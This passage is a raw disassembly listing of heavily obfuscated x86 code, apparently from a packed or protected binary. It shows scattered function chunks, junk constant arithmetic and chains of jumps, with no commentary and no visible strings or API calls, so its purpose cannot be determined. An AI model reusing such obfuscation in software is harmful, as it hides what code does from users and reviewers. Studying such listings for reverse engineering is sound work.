; CODE XREF: sub_5AB3DB-2DA1j dec eax not eax jmp loc_5A8267 ; END OF FUNCTION CHUNK FOR sub_5AB3DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A06B7: ; CODE XREF: sub_59D6B8+CD3Fj mov edi, 7CC9717Dh jmp loc_5ADA16 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; =============== S U B R O U T I N E ======================================= sub_5A06C1 proc near ; CODE XREF: sub_5A7A2B-9B88j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059AEE8 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A03E4 SIZE 00000037 BYTES ; FUNCTION CHUNK AT 005A054A SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A082F SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A67A5 SIZE 0000001D BYTES sub esp, 4 mov [esp+4+var_4], edi push ecx jmp loc_5A03E4 sub_5A06C1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B69D loc_5A06CD: ; CODE XREF: sub_59B69D+2j jmp loc_5A1C96 ; END OF FUNCTION CHUNK FOR sub_59B69D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_5A06D2: ; CODE XREF: sub_5A7BA0+3B5Dj sub ecx, 58DF7D45h jmp loc_5AEFE8 ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; =============== S U B R O U T I N E ======================================= sub_5A06DD proc near ; CODE XREF: sub_5AAE5E-5E3Aj ; sub_5A3C19+5884j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059D4E4 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A47E0 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 005A549E SIZE 0000000F BYTES push ebx push esp jmp loc_59D4E4 sub_5A06DD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5A06E4: ; CODE XREF: sub_59EE3E+7C95j sub ebx, 1DF468B2h sub esp, 4 mov [esp+0], edi sub esp, 4 mov [esp+4+var_4], ecx mov ecx, 79C36A7Eh jmp loc_5A2CFF ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_5A0700: ; CODE XREF: sub_5A0FFF+7180j pop ebp add eax, 2 xchg eax, [esp-10h+arg_A+2] pop esp xor bl, al push 6C6Bh jmp loc_59B2B7 ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A1726 loc_5A0716: ; CODE XREF: sub_5A1726+10j mov ebx, [esp+4+var_4] add esp, 4 sub eax, ebx jmp sub_5AB179 ; END OF FUNCTION CHUNK FOR sub_5A1726 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D4FD loc_5A0723: ; CODE XREF: sub_59D4FD+E663j push ecx mov ecx, 4CE01FCAh sub esi, ecx pop ecx add esi, 32E967A7h add esi, edx jmp loc_5A494A ; END OF FUNCTION CHUNK FOR sub_59D4FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF294 loc_5A0739: ; CODE XREF: sub_5AF294-613Fj jnp loc_5A95A9 xor ecx, 28BEEBB5h dec ecx jg loc_5A6343 shr ecx, 5 jnp loc_5AEBF9 neg ecx ; END OF FUNCTION CHUNK FOR sub_5AF294 ; START OF FUNCTION CHUNK FOR sub_5A4D9D loc_5A0757: ; CODE XREF: sub_5A4D9D-407Bj mov [esp+4+var_4], esi jmp loc_5A4D78 ; END OF FUNCTION CHUNK FOR sub_5A4D9D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A118F loc_5A075F: ; CODE XREF: sub_5A118F+4AEj add [esp+arg_0], ebp pop ebp pop ecx add ecx, 4 push eax push 3E09287Dh pop eax jmp loc_5AB717 ; END OF FUNCTION CHUNK FOR sub_5A118F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A77D5 loc_5A0777: ; CODE XREF: sub_5A77D5-149Dj pop ebx push 2E3h mov [esp+8+var_8], ebx jmp loc_5AB3FA ; END OF FUNCTION CHUNK FOR sub_5A77D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A0785: ; CODE XREF: sub_59D6B8:loc_5A29ADj xor eax, 72593AC1h shr eax, 1 add eax, 62293BBFh push 49C3h mov [esp+14h+var_14], edi push 60EA5719h mov edi, [esp+18h+var_18] add esp, 4 sub eax, 6BC605D4h sub eax, 5E3B60BDh jmp loc_599C00 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D37E loc_5A07B3: ; CODE XREF: sub_59D37E+F92Aj mov dh, 0BDh neg dh dec dh neg dh sub dh, 51h xor ch, dh pop edx sub esp, 4 jmp loc_5A527C ; END OF FUNCTION CHUNK FOR sub_59D37E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A63DC loc_5A07C9: ; CODE XREF: sub_5A63DC-7A41j ; sub_5A28E3+7EE4j and ecx, 191939A0h shr ecx, 3 and ecx, 2D215006h add ecx, 382B67FEh jmp loc_5A01A7 ; END OF FUNCTION CHUNK FOR sub_5A63DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A07E3: ; CODE XREF: sub_5AA2D1:loc_59C42Fj shl esi, 5 js loc_5A3E06 shl esi, 3 jmp loc_5B0165 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A580F loc_5A07F4: ; CODE XREF: sub_5A580F+6237j mov esi, 5E3B60BDh add eax, esi mov esi, [esp+4+var_4] add esp, 4 sub esp, 4 mov [esp+4+var_4], edx jmp loc_59D9DA ; END OF FUNCTION CHUNK FOR sub_5A580F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CE13 loc_5A080C: ; CODE XREF: sub_59CE13+64A6j add ecx, eax pop eax push eax mov eax, 532718A0h sub ecx, eax pop eax jmp loc_59D065 ; END OF FUNCTION CHUNK FOR sub_59CE13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A081D: ; CODE XREF: sub_5AA2D1-ECEEj rol word ptr [esp+6+var_8+2], cl pushf jmp loc_59910F ; --------------------------------------------------------------------------- loc_5A0827: ; CODE XREF: sub_5AA2D1-B5AEj shl ebx, 3 jmp loc_5A7780 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A06C1 loc_5A082F: ; CODE XREF: sub_5A06C1-57D8j mov esi, 243EFB0h add esi, 1F0F728Fh jmp loc_5A054A ; END OF FUNCTION CHUNK FOR sub_5A06C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9B1D loc_5A083F: ; CODE XREF: sub_5A9B1D+360Bj xor esi, 17548E80h push eax mov eax, 742F2D08h or eax, 537F40DEh jmp loc_59CF0A ; END OF FUNCTION CHUNK FOR sub_5A9B1D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE7B8 loc_5A0855: ; CODE XREF: sub_5AE7B8+6j mov [esp+4+var_4], esi push dword ptr [esp+4] jmp loc_59AB54 ; END OF FUNCTION CHUNK FOR sub_5AE7B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5607 loc_5A0861: ; CODE XREF: sub_5A5607+3F70j not esi neg esi push esi not dword ptr [esp+0] mov esi, [esp+0] add esp, 4 shr esi, 1 jmp loc_5A13BF ; END OF FUNCTION CHUNK FOR sub_5A5607 ; =============== S U B R O U T I N E ======================================= sub_5A0879 proc near ; DATA XREF: sdfs____:00598F54o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005ADCE8 SIZE 00000018 BYTES mov cx, [esp+0] push 2072h mov [esp+4+var_4], ebx push esp jmp loc_5ADCE8 sub_5A0879 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5AF2 loc_5A088B: ; CODE XREF: sub_5A5AF2-458Bj pop eax mov dx, [esp-4+arg_0] jmp loc_5A8112 ; END OF FUNCTION CHUNK FOR sub_5A5AF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA810 loc_5A0895: ; CODE XREF: sub_5AA810+5A98j pop eax push esi jmp loc_5B03A1 ; END OF FUNCTION CHUNK FOR sub_5AA810 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A580F loc_5A089C: ; CODE XREF: sub_5A580F:loc_5AE539j and eax, 2BB56192h jnz loc_5A656E and eax, 9170D9Eh jg loc_5AE955 sub al, 5Ah mov ecx, eax ; END OF FUNCTION CHUNK FOR sub_5A580F ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_5A08B6: ; CODE XREF: sub_5A4D9D-14AFj ; sub_5A7BA0+1CCEj xor eax, 7CC0FABEh add ebx, eax push [esp+4+var_4] mov eax, [esp+8+var_8] jmp loc_59D707 ; --------------------------------------------------------------------------- loc_5A08C8: ; CODE XREF: sub_5A7BA0-8EACj sub ebp, 6D2D181Bh jmp loc_5A53E3 ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_5A08D3: ; CODE XREF: sub_59CBE1+1255Fj xor edx, [esp-0Ch+arg_8] mov esp, [esp-0Ch+arg_8] test cl, al pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A12F5 loc_5A08E1: ; CODE XREF: sub_5A12F5+E784j push dword ptr [esp+4] push [esp+8+var_8] push [esp+0Ch+var_C] mov edx, [esp+10h+var_10] add esp, 4 add esp, 4 add esp, 4 pop [esp+4+var_4] mov esp, [esp+0] mov [esp+0], cx jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5A12F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2F58 loc_5A0906: ; CODE XREF: sub_5A2F58+5j push dx mov dh, 0C5h and ch, dh pop dx sub esp, 2 jmp loc_59C633 ; END OF FUNCTION CHUNK FOR sub_5A2F58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A0916: ; CODE XREF: sub_5AA2D1-58D1j add esi, 8084293h mov ebp, [esp+0Ch+var_C] jmp loc_5ADD4A ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_5A0924 proc near ; CODE XREF: sub_5AE643+17j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00599B3E SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0059A38C SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0059A615 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0059B1A9 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005A2B45 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A32CA SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005A337B SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A4C6E SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A7F69 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A8C97 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A8EEA SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A97E8 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005AA47D SIZE 0000002E BYTES ; FUNCTION CHUNK AT 005AB612 SIZE 0000000A BYTES push ebx push 1F01h push esp pop [esp+0Ch+var_C] add [esp+8+var_8], 4 jmp loc_5A32CA sub_5A0924 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A093A: ; CODE XREF: sub_5AA2D1-E6F0j xor eax, 7328729Ch jmp loc_5A2738 ; --------------------------------------------------------------------------- loc_5A0944: ; CODE XREF: sub_5AA2D1-7BEEj push ecx push 4 pop ecx add esi, ecx pop ecx add esi, 2 xchg esi, [esp+4+var_4] jmp loc_5A3438 ; --------------------------------------------------------------------------- loc_5A095C: ; CODE XREF: sub_5AA2D1-474Aj jbe loc_5AECFF add eax, (offset loc_5A0B9D+4) push ebp mov al, dh and al, 5Bh loc_5A096C: ; CODE XREF: sub_5A1FAD+11j sub ecx, esi pop esi sub ecx, ebx push [esp+4+var_4] pop ebx jmp loc_59E5FE ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA26A loc_5A097A: ; CODE XREF: sub_5AA26A-B756j push edx jmp loc_59BB52 ; END OF FUNCTION CHUNK FOR sub_5AA26A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A0980: ; CODE XREF: sub_59C979+E867j sub ebx, edx pop edx sub ecx, 0F7C7A92h add ecx, ebx add ecx, 0F7C7A92h pop ebx add ecx, 74BF62A2h add ecx, edi sub ecx, 74BF62A2h sub ecx, 3E434593h pop edi push ebx jmp sub_5A3C19 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5A09AD: ; CODE XREF: sub_59EE3E+3E3j add esp, 4 sub esi, 277B3A19h sub esi, eax push ebp mov ebp, 62E527C7h neg ebp or ebp, 680D0439h jmp loc_5A6BFB ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A18F6 loc_5A09CB: ; CODE XREF: sub_5A18F6-832Aj dec edi sub edi, 1F607D07h push eax mov eax, 1 sub edi, eax pop eax or edi, 69462010h push ebp mov ebp, 681C12Ch add edi, ebp pop ebp add edx, edi pop edi add edx, 4 push edx push [esp+8+var_4] jmp loc_5AEFD5 ; END OF FUNCTION CHUNK FOR sub_5A18F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EBF loc_5A09FD: ; CODE XREF: sub_5A9EBF+1j mov ebx, 25210DDAh shr ebx, 5 sub ebx, 450366Eh add ebx, 0DDF0F8C0h add ebp, ebx pop ebx push esi mov esi, 2B522558h jmp loc_5A3CED ; END OF FUNCTION CHUNK FOR sub_5A9EBF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_5A0A1F: ; CODE XREF: sub_5A0AA2+313Ej sub ebx, 66AA43F0h add ebx, ebp add ebx, 66AA43F0h pop ebp sub ebx, 232C73E4h add ebx, esi add ebx, 232C73E4h push edi mov edi, 50636FDDh sub ebx, edi jmp loc_59E609 ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A0A49: ; CODE XREF: sub_5AA2D1+3925j sub ebp, edx pop edx xchg ebp, [esp+0] pop esp mov [esp-4+arg_0], edi push ecx push ebx jmp loc_59D54F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A503A loc_5A0A5A: ; CODE XREF: sub_5A503A-8849j jmp loc_5A0EED ; END OF FUNCTION CHUNK FOR sub_5A503A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C95F loc_5A0A5F: ; CODE XREF: sub_59C95F-1C9j push esp pop edi add edi, 4 sub esp, 4 mov [esp+4+var_4], ebp mov ebp, 2 jmp sub_5A577C ; END OF FUNCTION CHUNK FOR sub_59C95F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599E21 loc_5A0A7A: ; CODE XREF: sub_599E21+134F7j jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_599E21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC18D loc_5A0A7F: ; CODE XREF: sub_5AC18D-1D15j mov cx, word ptr [esp+8+var_8] add esp, 2 sub bl, 73h jmp loc_5ADF88 ; END OF FUNCTION CHUNK FOR sub_5AC18D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599CC6 loc_5A0A8E: ; CODE XREF: sub_599CC6+B8E7j push [esp+4+var_4] mov ecx, [esp+8+var_8] add esp, 4 add esp, 4 jmp loc_5AF2A9 ; END OF FUNCTION CHUNK FOR sub_599CC6 ; =============== S U B R O U T I N E ======================================= sub_5A0AA2 proc near ; DATA XREF: sdfs____:00598EF0o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00599A19 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00599AEF SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00599B71 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00599DDE SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059A6DE SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0059A7AF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0059AEB6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059AF52 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059C047 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0059CCAB SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059CD4A SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0059CEB4 SIZE 0000002F BYTES ; FUNCTION CHUNK AT 0059D489 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059E2DA SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059E609 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0059E792 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059EB39 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A02C8 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A0A1F SIZE 0000002A BYTES ; FUNCTION CHUNK AT 005A0D45 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A10B1 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 005A1219 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A1BDD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005A1F96 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005A221A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A2631 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A2A10 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005A391E SIZE 00000029 BYTES ; FUNCTION CHUNK AT 005A3BD3 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A623F SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A637F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005A7AF5 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005A80E2 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005A8288 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A93AD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A9963 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005AA348 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 005AA77E SIZE 0000002B BYTES ; FUNCTION CHUNK AT 005AAB99 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AB1E5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AB66E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005ABC77 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005AC4F5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AC8A6 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005AD629 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AE77D SIZE 00000006 BYTES mov ax, [esp+0] push ebx push esp push [esp+8+var_8] pop ebx add esp, 4 sub esp, 4 mov [esp+8+var_8], esi jmp loc_5A02C8 sub_5A0AA2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A0ABD: ; CODE XREF: sub_5AA2D1-DFB9j pop ebp push 210Ch jmp loc_59CAF7 ; --------------------------------------------------------------------------- loc_5A0AC8: ; CODE XREF: sub_5AA2D1-5DD8j push esi mov esi, offset dword_4F4E10 jmp loc_5AA70B ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5A0AD3: ; CODE XREF: sub_5A477C+32CEj push edx push 29915B5Bh jmp loc_5A4DF6 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A0ADE: ; CODE XREF: sub_59D6B8+4EFCj jmp loc_5B0421 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A26E8 loc_5A0AE3: ; CODE XREF: sub_5A26E8-7691j push esi mov esi, 70536EA5h mov edx, 8FAC915Dh jmp loc_5A2188 ; END OF FUNCTION CHUNK FOR sub_5A26E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FB1A loc_5A0AF3: ; CODE XREF: sub_59FB1A-1140j add esp, 4 shl dh, 6 jmp loc_5AC87A ; END OF FUNCTION CHUNK FOR sub_59FB1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A0AFE: ; CODE XREF: sub_5AA2D1-74C3j pop ebx shl ebx, 8 push ebp mov ebp, 0 sub ebp, 514261AEh sub ebp, ebx add ebp, 514261AEh jmp loc_5A6F1E ; --------------------------------------------------------------------------- loc_5A0B1B: ; CODE XREF: sub_5AC803-DD64j ; sub_5AA2D1-B4Ej mov [esp-0Ch+arg_8], edi push ebp push 4CF94412h jmp loc_59FAD5 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A66D6 loc_5A0B29: ; CODE XREF: sub_5A66D6+6j mov [esp+4+var_4], edi mov edi, 2CEC107Ch add [esp+4+arg_0], edi jmp loc_5AC09F ; END OF FUNCTION CHUNK FOR sub_5A66D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A0B3A: ; CODE XREF: sub_5AA2D1-780Fj pop dx sub bh, 2Ah jg loc_5A2D51 and bh, 3Fh ja loc_5A841C add bh, 0D7h jo loc_59BD4E push esi ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; START OF FUNCTION CHUNK FOR sub_5A2E41 loc_5A0B58: ; CODE XREF: sub_5A2E41-110Fj jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5A2E41 ; =============== S U B R O U T I N E ======================================= sub_5A0B5D proc near ; CODE XREF: sub_5AA2D1-101F5j var_C = dword ptr -0Ch ; FUNCTION CHUNK AT 0059A3D5 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0059BD0C SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005ADA64 SIZE 00000014 BYTES push ebp push eax push 1DA70146h jmp loc_59A3D5 sub_5A0B5D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A0B69: ; CODE XREF: sub_5AA2D1:loc_59AC20j add eax, 1F276869h not eax inc eax jmp loc_5AB676 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF46F loc_5A0B76: ; CODE XREF: sub_5AF46F-881Bj xchg ebx, [esp+4+var_4] mov esp, [esp+4+var_4] mov [esp+4+var_4], eax push dword ptr [esp+4] jmp loc_5A4020 ; END OF FUNCTION CHUNK FOR sub_5AF46F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A16B8 loc_5A0B88: ; CODE XREF: sub_5A16B8+5564j push eax mov eax, 4 add edi, eax pop eax push edx jmp loc_5A4C53 ; END OF FUNCTION CHUNK FOR sub_5A16B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4E04 loc_5A0B97: ; CODE XREF: sub_5A4E04+51C3j jns loc_5AC130 loc_5A0B9D: ; DATA XREF: sub_5AA2D1-996Fo ; sub_5AA2D1:loc_5AECFFo xor ebx, 3DBE8C34h add eax, 495F5A41h ; END OF FUNCTION CHUNK FOR sub_5A4E04 ; =============== S U B R O U T I N E ======================================= sub_5A0BA8 proc near ; DATA XREF: sdfs____:00598FB4o pop small word ptr [edx] jmp loc_5AC5A7 sub_5A0BA8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59BE17 loc_5A0BB0: ; CODE XREF: sub_59BE17+23B7j pop ecx sub ebp, 4 jmp loc_5A4653 ; END OF FUNCTION CHUNK FOR sub_59BE17 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A0BB9: ; CODE XREF: sub_5AA2D1-A748j add eax, 4 add eax, 4 xor eax, [esp-28h+arg_24] xor [esp-28h+arg_24], eax xor eax, [esp-28h+arg_24] pop esp xchg ecx, [esp-2Ch+arg_28] mov esp, [esp-2Ch+arg_28] jmp loc_5A42DB ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABE0D loc_5A0BD8: ; CODE XREF: sub_5ABE0D-AA5j pop eax mov edx, [esp+0Ch+var_C] add esp, 4 sub ebp, 14EB1823h add ebp, eax add ebp, 14EB1823h push [esp+8+var_8] pop eax add esp, 4 push 23DDh jmp loc_59D44D ; END OF FUNCTION CHUNK FOR sub_5ABE0D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A0C04: ; CODE XREF: sub_59DAB9+15j ; sub_5AA2D1-A7E6j mov ebx, eax mov eax, [esp-30h+arg_2C] jmp loc_5A167C ; --------------------------------------------------------------------------- loc_5A0C0E: ; CODE XREF: sub_5AA2D1-6C1j add eax, 68A91452h add eax, ecx sub eax, 68A91452h pop ecx push [esp-34h+arg_30] jmp loc_5AE4FC ; --------------------------------------------------------------------------- loc_5A0C23: ; CODE XREF: sub_5AA2D1-B875j pop esi push edx jmp sub_5A21A4 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F4D2 loc_5A0C2A: ; CODE XREF: sub_59F4D2+3DBEj ; sub_59A26C+F0E7j add esp, 4 push ecx push 64C8h push esp pop [esp+4+var_4] add dword ptr [esp+0], 4 pop ecx add ecx, 4 push ebx jmp loc_5A1CE3 ; END OF FUNCTION CHUNK FOR sub_59F4D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A0C48: ; CODE XREF: sub_59D6B8-11CAj ; sub_5A765F-2B46j mov [esp+4+var_4], eax push esp mov eax, [esp+8+var_8] add esp, 4 jmp sub_599D0E ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A0C5A: ; CODE XREF: sub_5AA2D1+492j sub ebx, 57E33D96h sub ebx, 54474494h add ebx, edx add ebx, 54474494h add ebx, 57E33D96h add ebx, 16375269h add ebx, 13C75C65h sub ebx, 3BE121CAh jmp loc_5A305D ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59AA62 loc_5A0C8B: ; CODE XREF: sub_59AA62+12j push [esp+8+var_8] pop esi add esp, 4 add esi, 4 sub esp, 4 jmp loc_5A57AA ; END OF FUNCTION CHUNK FOR sub_59AA62 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9D64 loc_5A0CA3: ; CODE XREF: sub_5A9D64+29A1j jg loc_5A2D06 xor ebp, 6825CAA5h push ebp pop edi pop ebp xor al, 20h mov dh, ch loc_5A0CB6: ; CODE XREF: sub_5A71F0-53D6j add dword ptr [ecx], 1 mov ecx, [esp+4+var_4] add esp, 4 mov eax, [esp+0] sub esp, 4 mov [esp+4+var_4], edi mov edi, esp push esi jmp loc_5997C5 ; END OF FUNCTION CHUNK FOR sub_5A9D64 ; =============== S U B R O U T I N E ======================================= sub_5A0CD9 proc near ; CODE XREF: sub_5AA2D1-5F29j ; FUNCTION CHUNK AT 0059A3F1 SIZE 00000008 BYTES sub esp, 4 jmp loc_59A3F1 sub_5A0CD9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A72CB loc_5A0CE1: ; CODE XREF: sub_5A72CB-19D1j push ecx mov ecx, 0D448B714h add ebp, ecx pop ecx add esi, ebp jmp loc_59C78D ; END OF FUNCTION CHUNK FOR sub_5A72CB ; --------------------------------------------------------------------------- loc_5A0CF1: ; CODE XREF: sdfs____:005A854Fj mov [esp], edi mov edi, esp push 46E9h mov [esp], eax sub esp, 4 mov [esp], ecx push 35954B8Dh mov ecx, [esp] jmp loc_5A0369 ; --------------------------------------------------------------------------- ; START OF FUNCTION 